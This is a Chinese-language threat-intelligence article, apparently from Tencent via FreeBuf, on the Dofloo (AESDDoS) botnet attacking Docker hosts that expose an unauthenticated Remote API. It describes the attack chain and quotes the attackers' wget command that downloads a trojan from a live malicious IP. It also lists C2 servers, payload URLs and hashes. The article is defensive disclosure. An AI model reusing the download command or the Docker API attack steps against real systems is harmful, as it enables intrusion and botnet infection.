freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Dofloo(AESDDoS)僵尸网络正批量扫描、攻击Docker容器
2020-09-18 11:14:37

一、背景

腾讯安全威胁情报中心检测到Dofloo(AESDDoS)僵尸网络正批量扫描和攻击Docker容器。部分云主机上部署的Docker容器没有针对远程访问做安全认证,存在Remote API允许未授权使用漏洞且暴露在公网,导致黑客通过漏洞入侵并植入Dofloo僵尸网络木马。

云计算兴起后,服务器硬件扩展非常便利,软件服务部署成为了瓶颈,Docker作为开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器,因而逐渐得到广泛应用。而开发者在部署Docker时未对相关服务进行正确合理的配置导致其容易成为黑客入侵的路径之一,之前已有H2Miner利用Docker漏洞进行入侵挖矿的案例被披露(https://mp.weixin.qq.com/s/iNq8SdTZ9IrttAoQYLJw5A)。此次Dofloo僵尸网络入侵系统后,会搜集系统敏感信息并加密上传,接收C&C服务器指令,执行各类DDoS攻击。

二、详细分析

在此次攻击中,攻击者首先通过向端口2375(与Docker守护进程通信的默认端口)发送TCP SYN数据包对给定的IP范围进行批量扫描。确定开放端口的目标IP后,发送请求调用/containers/json接口获取正在运行中的容器列表,之后使用Docker EXEC命令执行以下shell访问公开主机中所有正在运行的容器并下载木马Linux2.7。

获取容器列表:

针对运行状态的容器利用Docker EXEC执行木马下载命令:

wget -P /tmp/ http[:]//49.235.238.111:88/Linux2.7

被下载的Dofloo僵尸网络木马Linux2.7会连接到49.235.238.111:48080来发送和接收来自攻击者的远程shell命令。

Dofloo僵尸网络还会在从被感染系统窃取信息,包括操作系统版本,CPU型号、速度和类型。

通过将自身路径写入/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件中以添加为自启动项。

使用AES算法对窃取的系统信息和命令和控制(C&C)数据进行加密。

此Dofloo变种能够发起各种类型的DDoS攻击,包括DNS、SYN,LSYN,UDP,UDPS,TCP和CC Flood。

IOCs

C2

49.235.238.111:48080

175.24.123.205: 48080

IP

49.235.238.111

89.40.73.126

175.24.123.205

URL

http[:]//49.235.238.111[:]88/Linux2.7

http[:]//49.235.238.111/Lov.sh

http[:]//49.235.238.111/lix

http[:]//49.235.238.111/Verto

http[:]//49.235.238.111[:]88/NgYx

http[:]//49.235.238.111/linux-arm

http[:]//49.235.238.111/shre.sh

http[:]//89.40.73.126[:]8080/Linux2.7

http[:]//89.40.73.126/linux2.6

http[:]//89.40.73.126[:]8080/linux-arm

http[:]//89.40.73.126[:]8080/Linux2.6

http[:]//89.40.73.126[:]8080/YmY

http[:]//89.40.73.126[:]8080/LTF

http[:]//89.40.73.126[:]8080/NgYx

http[:]//89.40.73.126[:]8080/Mar

http[:]//89.40.73.126[:]8080/linux2.6

http[:]//89.40.73.126[:]8080/Flood

http[:]//175.24.123.205:88/Fck

MD5

Flood

0579a022802759f98bfdf08e7dd16768

lix

9530e46caab834e1e66a108e15ea97ca

linux-arm

ca1f347447ddf7990ccd0d6744f3545d

Linux

05f28784a0da0c1e406d98c02dc7d560

Rze.sh

48c910cd9a07404fbfb8bf52847e72c3

SHre.sh

bb7cdf5707a857036cd41af4bafaed31

参考链接:

https://www.trendmicro.com/en_us/research/19/f/aesddos-botnet-malware-infiltrates-containers-via-exposed-docker-apis.html

https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py

本文作者:, 转载请注明来自FreeBuf.COM

# 僵尸网络 # Dofloo # AESDDoS # Docker容器
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑